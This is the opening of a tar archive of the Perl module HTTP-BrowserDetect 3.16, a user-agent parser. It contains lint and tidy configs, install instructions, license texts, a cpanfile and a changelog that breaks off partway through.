HTTP-BrowserDetect-3.16/000755 000765 000024 00000000000 13214533442 015061 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/perltidyrc000644 000765 000024 00000000330 13214533442 017161 0ustar00olafstaff000000 000000 --blank-lines-before-packages=0 --iterations=2 --no-outdent-long-comments -b -bar -boc -ci=4 -i=4 -l=78 -nolq -se -wbb="% + - * / x != == >= <= =~ !~ < > | & >= < = **= += *= &= <<= &&= -= /= |= >>= ||= .= %= ^= x=" HTTP-BrowserDetect-3.16/perlcriticrc000644 000765 000024 00000004405 13214533442 017474 0ustar00olafstaff000000 000000 severity = 3 verbose = 11 theme = core + pbp + bugs + maintenance + cosmetic + complexity + security + tests + moose exclude = Subroutines::ProhibitCallsToUndeclaredSubs [BuiltinFunctions::ProhibitStringySplit] severity = 3 [CodeLayout::RequireTrailingCommas] severity = 3 [ControlStructures::ProhibitCStyleForLoops] severity = 3 [InputOutput::RequireCheckedSyscalls] functions = :builtins exclude_functions = sleep severity = 3 [Moose::RequireCleanNamespace] modules = Moose Moose::Role MooseX::Role::Parameterized Moose::Util::TypeConstraints cleaners = namespace::autoclean [NamingConventions::Capitalization] package_exemptions = [A-Z]\w+|minFraud file_lexical_variables = [A-Z]\w+|[^A-Z]+ global_variables = :starts_with_upper scoped_lexical_variables = [A-Z]\w+|[^A-Z]+ severity = 3 # Given our code base, leaving this at 5 would be a huge pain [Subroutines::ProhibitManyArgs] max_arguments = 10 [RegularExpressions::ProhibitComplexRegexes] max_characters = 200 [RegularExpressions::ProhibitUnusualDelimiters] severity = 3 [Subroutines::ProhibitUnusedPrivateSubroutines] private_name_regex = _(?!build)\w+ skip_when_using = Moo::Role Moose::Role MooseX::Role::Parameterized Role::Tiny Test::Class::Moose::Role [TestingAndDebugging::ProhibitNoWarnings] allow = redefine [ValuesAndExpressions::ProhibitEmptyQuotes] severity = 3 [ValuesAndExpressions::ProhibitInterpolationOfLiterals] severity = 3 [ValuesAndExpressions::RequireUpperCaseHeredocTerminator] severity = 3 [Variables::ProhibitPackageVars] add_packages = Test::Builder [TestingAndDebugging::RequireUseStrict] [TestingAndDebugging::RequireUseWarnings] [-ControlStructures::ProhibitCascadingIfElse] [-ErrorHandling::RequireCarping] [-InputOutput::RequireBriefOpen] [-ValuesAndExpressions::ProhibitConstantPragma] # No need for /xsm everywhere [-RegularExpressions::RequireDotMatchAnything] [-RegularExpressions::RequireExtendedFormatting] [-RegularExpressions::RequireLineBoundaryMatching] [-Subroutines::ProhibitExplicitReturnUndef] # http://stackoverflow.com/questions/2275317/why-does-perlcritic-dislike-using-shift-to-populate-subroutine-variables [-Subroutines::RequireArgUnpacking] [-Subroutines::RequireFinalReturn] # "use v5.14" is more readable than "use 5.014" [-ValuesAndExpressions::ProhibitVersionStrings] HTTP-BrowserDetect-3.16/INSTALL000644 000765 000024 00000002244 13214533442 016114 0ustar00olafstaff000000 000000 This is the Perl distribution HTTP-BrowserDetect. Installing HTTP-BrowserDetect is straightforward. ## Installation with cpanm If you have cpanm, you only need one line: % cpanm HTTP::BrowserDetect If it does not have permission to install modules to the current perl, cpanm will automatically set up and install to a local::lib in your home directory. See the local::lib documentation (https://metacpan.org/pod/local::lib) for details on enabling it in your environment. ## Installing with the CPAN shell Alternatively, if your CPAN shell is set up, you should just be able to do: % cpan HTTP::BrowserDetect ## Manual installation As a last resort, you can manually install it. Download the tarball, untar it, then build it: % perl Makefile.PL % make && make test Then install it: % make install If your perl is system-managed, you can create a local::lib in your home directory to install modules to. For details, see the local::lib documentation: https://metacpan.org/pod/local::lib ## Documentation HTTP-BrowserDetect documentation is available as POD. You can run perldoc from a shell to read the documentation: % perldoc HTTP::BrowserDetect HTTP-BrowserDetect-3.16/LICENSE000644 000765 000024 00000043644 13214533442 016101 0ustar00olafstaff000000 000000 This software is copyright (c) 2017 by Lee Semel. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. Terms of the Perl programming language system itself a) the GNU General Public License as published by the Free Software Foundation; either version 1, or (at your option) any later version, or b) the "Artistic License" --- The GNU General Public License, Version 1, February 1989 --- This software is Copyright (c) 2017 by Lee Semel. This is free software, licensed under: The GNU General Public License, Version 1, February 1989 GNU GENERAL PUBLIC LICENSE Version 1, February 1989 Copyright (C) 1989 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The license agreements of most software companies try to keep users at the mercy of those companies. By contrast, our General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. The General Public License applies to the Free Software Foundation's software and to any other program whose authors commit to using it. You can use it for your programs, too. When we speak of free software, we are referring to freedom, not price. Specifically, the General Public License is designed to make sure that you have the freedom to give away or sell copies of free software, that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of a such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must tell them their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any work containing the Program or a portion of it, either verbatim or with modifications. Each licensee is addressed as "you". 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this General Public License and to the absence of any warranty; and give any other recipients of the Program a copy of this General Public License along with the Program. You may charge a fee for the physical act of transferring a copy. 2. You may modify your copy or copies of the Program or any portion of it, and copy and distribute such modifications under the terms of Paragraph 1 above, provided that you also do the following: a) cause the modified files to carry prominent notices stating that you changed the files and the date of any change; and b) cause the whole of any work that you distribute or publish, that in whole or in part contains the Program or any part thereof, either with or without modifications, to be licensed at no charge to all third parties under the terms of this General Public License (except that you may choose to grant warranty protection to some or all third parties, at your option). c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the simplest and most usual way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this General Public License. d) You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. Mere aggregation of another independent work with the Program (or its derivative) on a volume of a storage or distribution medium does not bring the other work under the scope of these terms. 3. You may copy and distribute the Program (or a portion or derivative of it, under Paragraph 2) in object code or executable form under the terms of Paragraphs 1 and 2 above provided that you also do one of the following: a) accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Paragraphs 1 and 2 above; or, b) accompany it with a written offer, valid for at least three years, to give any third party free (except for a nominal charge for the cost of distribution) a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Paragraphs 1 and 2 above; or, c) accompany it with the information you received as to where the corresponding source code may be obtained. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form alone.) Source code for a work means the preferred form of the work for making modifications to it. For an executable file, complete source code means all the source code for all modules it contains; but, as a special exception, it need not include source code for modules which are standard libraries that accompany the operating system on which the executable file runs, or for standard header files or definitions files that accompany that operating system. 4. You may not copy, modify, sublicense, distribute or transfer the Program except as expressly provided under this General Public License. Any attempt otherwise to copy, modify, sublicense, distribute or transfer the Program is void, and will automatically terminate your rights to use the Program under this License. However, parties who have received copies, or rights to use copies, from you under this General Public License will not have their licenses terminated so long as such parties remain in full compliance. 5. By copying, distributing or modifying the Program (or any work based on the Program) you indicate your acceptance of this license to do so, and all its terms and conditions. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. 7. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of the license which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the license, you may choose any version ever published by the Free Software Foundation. 8. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 9. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to humanity, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 1, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19xx name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (a program to direct compilers to make passes at assemblers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice That's all there is to it! --- The Artistic License 1.0 --- This software is Copyright (c) 2017 by Lee Semel. This is free software, licensed under: The Artistic License 1.0 The Artistic License Preamble The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications. Definitions: - "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification. - "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder. - "Copyright Holder" is whoever is named in the copyright or copyrights for the package. - "You" is you, if you're thinking about copying or distributing this Package. - "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.) - "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it. 1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers. 2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version. 3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following: a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as ftp.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package. b) use the modified Package only within your corporation or organization. c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version. d) make other distribution arrangements with the Copyright Holder. 4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following: a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version. b) accompany the distribution with the machine-readable source of the Package with your modifications. c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version. d) make other distribution arrangements with the Copyright Holder. 5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own. 6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package. 7. C or perl subroutines supplied by you and linked into this Package shall not be considered part of this Package. 8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission. 9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. The End HTTP-BrowserDetect-3.16/cpanfile000644 000765 000024 00000002363 13214533442 016571 0ustar00olafstaff000000 000000 requires "perl" => "5.006"; requires "strict" => "0"; requires "vars" => "0"; requires "warnings" => "0"; on 'test' => sub { requires "ExtUtils::MakeMaker" => "0"; requires "File::Spec" => "0"; requires "FindBin" => "0"; requires "JSON::PP" => "0"; requires "List::Util" => "1.49"; requires "Path::Tiny" => "0"; requires "Test::FailWarnings" => "0"; requires "Test::More" => "0"; requires "Test::Most" => "0"; requires "Test::NoWarnings" => "0"; }; on 'test' => sub { recommends "CPAN::Meta" => "2.120900"; }; on 'configure' => sub { requires "ExtUtils::MakeMaker" => "0"; }; on 'configure' => sub { suggests "JSON::PP" => "2.27300"; }; on 'develop' => sub { requires "Test::CPAN::Changes" => "0.19"; requires "Test::Code::TidyAll" => "0.50"; requires "Test::More" => "0.96"; requires "Test::Synopsis" => "0"; }; on 'develop' => sub { suggests "Dist::Zilla::Plugin::BumpVersionAfterRelease::Transitional" => "0.004"; suggests "Dist::Zilla::Plugin::CopyFilesFromRelease" => "0"; suggests "Dist::Zilla::Plugin::Git::Commit" => "2.020"; suggests "Dist::Zilla::Plugin::Git::Tag" => "0"; suggests "Dist::Zilla::Plugin::NextRelease" => "5.033"; suggests "Dist::Zilla::Plugin::RewriteVersion::Transitional" => "0.004"; }; HTTP-BrowserDetect-3.16/Changes000644 000765 000024 00000044000 13214533442 016352 0ustar00olafstaff000000 000000 Revision history for Perl extension HTTP::BrowserDetect. 3.16 2017-12-14 17:38:34Z - Fixes detection for bots added in 3.15 - Adds all_robot_ids() method 3.15 2017-12-13 03:25:42Z - Adds browserdetect.org to documentation - Adds more bots to robot detection - Adds robot_id(), which is currently in beta 3.14 2016-05-25 11:44:10 America/Toronto - Slightly refactor the detection of several browsers that identify as Mozilla initially (andrewmoise) - Start detecting UCBrowser much more accurately (device, version, and detect some cases which were misidentified as something else previously) (andrewmoise) - Detect more possibilities for Kindle Fire in Android model ("Kindle Fire in addition to "KF.*") (andrewmoise) - Detect more possibilities for Kindle Fire, and try to set tests appropriate to whatever the device is configured to be (andrewmoise) 3.13 2016-05-09 11:10:44 America/Toronto - Start detecting Brew OS (andrewmoise) - Fix detecting Netfront as Netscape in some cases (andrewmoise) - Start recognizing Teleca as an alias for Obigo (andrewmoise) - Start detecting versions of Teleca / Obigo (andrewmoise) - Note in documentation that 'wap' doesn't mean WAP only (andrewmoise) - Start detecting Polaris mobile browser (andrewmoise) 3.12 2016-05-05 08:59:46 America/Toronto - Start detecting a few robots we weren't detecting before ('verify' or 'analyze' in the name, or +https: beginning the URL) (andrewmoise) - Stop including the version in robot_string() in some cases (andrewmoise) - Start returning undef instead of 0 for robot() if there's no robot (andrewmoise) - Fix _version() documentation for robot, os, and version not to make formatting garbage in the output, and to be consistent (andrewmoise) 3.11 2016-05-04 20:32:47 America/Toronto - Add a test for Kindle Fire (andrewmoise) 3.10 2016-03-29 22:15:35 America/Toronto - Big change: Add robot version detection, distinct from browser version (first cut) (andrewmoise) - Add browsers: Pubsub (Safari RSS reader), ADM (Android Download Manager), ImageSearcherPro (iOS app) (andrewmoise) - Add robots: Google favicon, malware/shellcode, phplib, Verisign IPS agent, Nutch, thumbtack-thunderdome (andrewmoise) - Distinguish Bingbot from MSNbot (andrewmoise) - Only detect wget based on the beginning of the user-agent (andrewmoise) - Misc fixes to test support scripts (andrewmoise) - Add Kindle Fire (andrewmoise) - Detect curl by matching /^curl/ as well as /libcurl/ (andrewmoise) - Remove webcrawler robot test (it triggers on too many distinct robots which all include "webcrawler") (andrewmoise) 3.00 2016-02-29 22:57:45 America/Toronto - Make "mobile" false when "tablet" is true. This is a breaking change and has triggered a major version bump. (andrewmoise) 2.08 2016-01-29 21:56:29 America/Toronto - Brave browser detection added (Nicolas Doye) 2.07 2015-11-18 23:52:07 America/Toronto - Strip off anything Google Translate adds to UserAgent before parsing (Marco Fontani) 2.06 2015-11-15 10:59:30 America/Toronto - Detect more Edge versions (Marco Fontani) 2.05 2015-07-29 12:36:01 America/Toronto - Add Microsoft Windowns 10/Windows Phone 10 Edge Browser (Atsushi Kato) 2.04 2015-06-24 23:26:28 America/Toronto - Fix test failures on Perl 5.8 2.03 2015-06-19 09:59:45 America/Toronto - Add win8_1 method (Daniel Stadie) 2.02 2015-06-17 18:18:17 America/Toronto - Default to using an empty string if an undef UA is provided (ben hengst) 2.01 2015-04-24 23:05:13 America/Toronto - Handle "CriOS" entries correctly (andrewmoise) - Only detect java when no browser is detected, and make UCBrowser a detected browser (andrewmoise) - Detect "tablet" on Kindle Fire (and Chrome on Android tablets in general) (andrewmoise) - Distinguish Android tablets in device_string (andrewmoise) - Handle CriOS, rubylib, golib, and Dalvik (andrewmoise) - Detect "Mobilesafari/" as Mobile Safari (andrewmoise) - Detect "Windows 2000" as Win2k (andrewmoise) - Only detect NCR Unix on word boundary (andrewmoise) - Try tighter detection of robot names based on fragments (andrewmoise) - Fix java detection to be more strict (andrewmoise) - Fix up Android tablet detection (andrewmoise) - Add proper detection for old Windows versions in Opera (andrewmoise) - Add apache http client detection (andrewmoise) - Fix detection of SCO Unix to trigger fewer false positives (andrewmoise) - Correct detection of (most) robots based on "+http://blah" (andrewmoise) 2.00 2015-03-30 21:46:25 America/Toronto - Standardize interface: browser () device X _string() engine _version(), _major(), _minor(), _beta() os robot (andrewmoise) - Add Galeon, Seamonkey, and Epiphany as specifically detected browsers (andrewmoise) - Some internal changes that make things simpler and faster (andrewmoise) - Remove the $check argument (e.g. $ua->beta('.45') to check whether the beta version is ".45") (andrewmoise) - Update and reorganize documentation (andrewmoise) - Breaking Change: remove deprecated user_agent($arg) usage. This is the reason for the major version bump. 1.78 2015-03-17 22:43:27 America/Toronto - Reorganize documentation (andrewmoise) - Make java a robot with the other libs and tools (andrewmoise) - Add a "lib" test to detect libs and tools (andrewmoise) - Add AppleCoreMedia (andrewmoise) - Make Blackberry stop setting Safari tests (andrewmoise) - Make Android stop setting Linux tests (andrewmoise) - Implement much more engine detection and engine version detection (andrewmoise) 1.77 2015-03-08 12:06:17 America/Toronto - Switch to using strings for version numbers (andrewmoise) - Adds BrowseX and Silk detection (andrewmoise) - Makes detection of Obigo more consistent (andrewmoise) 1.76 2015-03-03 22:56:25 America/Toronto - Encourage use of public_* and engine_* over version(), major() and minor(). - Speed optimizations (andrewmoise) - Fix warnings on "Safari/12x.x (andrewmoise) 1.75 2014-08-27 17:55:01 America/Toronto - Adds detection for Chrome OS (Douglas Christopher Wilson) 1.74 2014-08-27 10:32:16 America/Toronto - Adds detection for Majestic-12 bot (Douglas Christopher Wilson) 1.73 2014-08-15 23:50:42 America/Toronto - Adds minimum Perl version - dzil tweaks to make CPANTS happier 1.72 2014-06-18 23:34:27 America/Toronto - Remove File::Slurp from tests in favour of Path::Tiny 1.71 2014-05-19 22:38:52 America/Toronto - Fixes warnings on "frakenagent" (Douglas Christopher Wilson) 1.70 2014-03-27 12:16:12 America/Toronto - Add new UA tests & avoid false positive Sun match on Samsung (Jon Jensen) 1.69 2014-02-05 21:56:27 America/Toronto - Adds detection for BlackBerry 10 devices (Douglas Christopher Wilson) 1.68 2014-01-26 23:05:14 America/Toronto - Adds Yandex & Ahrefs bots (Perlover) 1.67 2014-01-22 16:18:36 America/Toronto - Adds detection for tablet Firefox OS (Douglas Christopher Wilson) 1.66 2013-12-17 11:37:20 America/Toronto - Adds detection for IE Compatibility View (Douglas Christopher Wilson) 1.65 2013-12-10 21:08:07 America/Toronto - Adds os_version for FireFox in OS X (Hao Wu) 1.64 2013-11-25 10:10:23 America/Toronto - Adds detection for Opera 15+ (Douglas Christopher Wilson) 1.63 2013-11-21 21:39:46 America/Toronto - Adds detection for Internet Explorer 11 (Douglas Christopher Wilson) - Adds detection for Windows 8.1 (Douglas Christopher Wilson) 1.62 2013-10-25 14:40:57 America/Toronto - Returns explicit undef more consistently (David Ihnen) 1.61 2013-09-06 15:47:57 America/Toronto - Reverts a commit that was causing a test to fail when a warning about File::Slurp was detected 1.60 2013-08-29 23:02:13 America/Toronto - Fixes bug where "Linux" rather than "Android" was returned as os_string for Android devices. 1.59 2013-08-18 00:38:21 America/Toronto - Revert 1.57's behaviour of returning a robot name in browser_string. - Fix bug where OS X identied as just Mac in os_string. - Add linkchecker, YandexImages and archive.org_bot bots. - Add undocumented os_version() for OS X, winPhone, Android, iOS, Firefox OS. 1.58 2013-08-16 23:37:23 America/Toronto - Break up parsing into smaller chunks. - Return better names for Googlebot News, Images and Video. - Fix bug where Yahoo! Slurp reported as Firefox. 1.57 2013-08-16 01:21:35 America/Toronto - Make internals a little less quirky. - Stop returning explicit undef for browser_string and os_string. (Why would you ever call these in list context?) - Return name of robot for browser_string when browser is, in fact, a bot. Previous behaviour was to return undef or something just really wrong. 1.56 2013-08-15 01:02:32 America/Toronto - Adds experimental and undocumented robot_name method. 1.55 2013-07-22 23:06:40 America/Toronto - Add all current Google robot user agents (Douglas Christopher Wilson) 1.54 2013-07-21 - Fix generic version parsing not to cross whitespace (Douglas Christopher Wilson) - Compare Safari build numbers by parts instead of floats (Douglas Christopher Wilson) - Removes Exporter 1.53 2013-07-19 - Detect IE on ARM as tablet (Douglas Christopher Wilson) - Add BlackBerry PlayBook detection (Douglas Christopher Wilson) - Split version parsing into two expressions (Douglas Christopher Wilson) 1.52 2013-05-03 - Fixes warning when MSIE does not have a minor version - Simplifies MSIE version regex logic - Removes a test for AskJeeves browser 1.51 2013-04-25 - Adds Android tablet detection (yeahoffline ) 1.50 2013-03-01 - Adds Firefox OS detection (Douglas Christopher Wilson) 1.49 2013-02-27 - Fixes language/country detectio for Safari (Douglas Christopher Wilson) 1.48 2013-02-26 - Adds Obigo browser detection (Douglas Christopher Wilson) 1.47 2012-12-10 - Distinguishes version of Windows Phone (Douglas Christopher Wilson) - Enables warnings and traps warnings in tests (Douglas Christopher Wilson) 1.46 2012-12-05 - Add Windows 8 detection (Douglas Christopher Wilson) 1.45 2012-12-02 - Removes Data::Dump from deps - Supports Windows Phone 8.0 devices (Douglas Christopher Wilson) - Fixes mistaken WAP detection for Nokia Windows Phones - Fixes warnings on browser version when running under -w (Aran Deltac) 1.44 2012-05-03 - Fixes "sort (...) interpreted as function" introduced in 1.43, which was causing tests to fail 1.43 2012-05-02 - Sorts keys when iterating for consistency across Perl implementations (Thom Blake) 1.42 2012-03-01 - Adds bot detection for askjeeves, baidu and googleadsbot (Bill Rhodes) 1.41 2012-01-19 - Exposes test categorization via our (Olivier Bilodeau) 1.40 2012-01-05 - Fixes false positive results for RealPlayer browser (John Oatis) 1.39 2011-12-01 - Adds logical groupings of test cases BrowserDetect.pm (Olivier Bilodeau) - Fixes win-based device names (Olivier Bilodeau) 1.38 2011-11-30 - Ensures that all methods return undef where advertised (Ronald J. Kimball) 1.37 2011-11-29 - Adds nintendo mobile browsers (Nintendo DSi, Nintendo 3DS) (cho45) - Adds kindle, dsi, n3ds to device and device_name methods 1.36 2011-11-07 - Tweaks detection of Yahoo robot (Atsushi Kato) 1.35 2011-11-02 - Fixes false positive for bot() with Puffin browser (Atsushi Kato) 1.34 2011-10-24 - Adds BlackBerry to the list of possible return values of browser_string() (John Oatis) 1.33 2011-10-15 - Adds detections for the Trident engine (Douglas Christopher Wilson) 1.32 2011-10-12 - Fixes RealPlayer false positives (John Oatis) 1.31 2011-10-12 - Adds detection and device name for Windows Phone (Douglas Christopher Wilson) 1.30 2011-09-15 - Tweaks language regexes to reduce false positives 1.29 2011-09-01 - Adds ios method for ipod, ipad and iphone (os_string returns "iOS") 1.28 2011-08-31 - Adds ie9 and ie10 methods (Douglas Christopher Wilson) 1.27 2011-08-30 - Google and MSN mobile bots are now detected as mobile agents (Uwe Voelker) 1.26 2011-07-12 - Fixes Pod typo 1.25 2011-07-12 - Fix warnings about iceweasel test being defined twice (Paul Findlay) - Adds Opera Tablet to mobile devices (Jacob Rask) 1.24 2011-05-13 - Removes dependency on Modern::Perl, which was accidentally introduced (Yoshiki Kurihara) 1.23 2011-05-02 - Adds a browser_properties() call that exposes all the browser "properties" (Olivier Bilodeau) - Fixes issues where a Chrome string would return 1 to a ->nav45up check (Olivier Bilodeau) - Fixes issue where some WebKit/KHTML browsers returned 1 on ->gecko (Olivier Bilodeau) - Adds wince method (Windows CE) (Olivier Bilodeau) - Now detects Java UserAgent as a robot (Graham Barr) - Now detects Jakarta Commons-HttpClient as a Java client (Graham Barr) - UserAgent tests moved from YAML to JSON - Moves issue tracking to Github - Dist now includes META.json rather than META.yaml 1.22 2011-03-10 - Adds Namoroka to list of Firefox browsers (Viacheslav Tykhanovskyi) 1.21 2010-12-23 - Test suite now uses YAML rather than YAML::Tiny as YAML::Tiny 1.46 refuses to load useragents.yaml - Alphabetically re-ordered some of the documentation 1.20 2010-11-23 - Be a little more selective in marking ua as robot when contains search or seek (Graham Barr) - Add facebook crawler as a robot (Graham Barr) (Enrico Sorcinelli) 1.19 2010-09-24 - Added support for WebOS (Jesse Thompson) RT #61437 1.18 2010-09-06 - Added support for Netfront and Safari on Kindle 1.17 2010-08-28 - Added support for Mobile Safari, Links and Elinks (Jon Jensen) - Added more UserAgents to test suite (Jon Jensen) 1.16 2010-08-19 - Added support for the < 3.0 Safari public versions (Jon Jensen) - Added new UserAgents to useragents.yaml (Jon Jensen) 1.15 2010-08-18 - Re-releasing after some folders unintentionally included in build 1.14 2010-08-18 - Fixed uninitialized value warnings for Safari (Heiko Weber) RT #60440 1.13 2010-08-10 - Firefox Mobile (Fennec) is now detected as mobile RT #60186 (Jacob Rask) - Double digit Opera version #s now detected correctly RT #50717, #59817 1.12 2010-08-01 - Added msn and msnmobile (Luke Saunders: f5c87a17b8fa2b09e294) - Added googlemobile (Luke Saunders: ec28d49d7218b43788b9) - SymbOS and Opera Mobi added to mobile detection RT #59817 (Jacob Rask) - Distribution is now managed with Dist::Zilla 1.11 2010-06-03 - Added ps3 and psp (commit 85a619c9a977c0a8e403) (Alexey Surikov) 1.10 2010-05-05 - Google toolbar no longer triggers false positive for Googlebot (Jay Rifkin) 1.09 2010-04-04 - Better language detection (commit 68025ca1a58afa1db9b4eeffe8c246d129825cc0) (Maroš Kollár) 1.08 2010-03-19 - Added ipad(), device() and device_name() methods 1.07 2010-02-10 - Added realplayer() and _realplayer_version() methods RT #52355 (Marc Sebastian Pelzer) - Added engine_string(), engine_version(), engine_major(), engine_minor() methods - Added Windows 7 detection (commit 73795d8189faded8b07717e55488f128eaa00752) (Alexey Surikov) - Added public_version(), public_major() and public_minor() methods 1.06 2009-11-24 - Added missing file t/useragents.yaml to MANIFEST 1.05 2009-11-23 - Fixed RT #31847 (Mike Clarke) SCO/Unix false positives 1.04 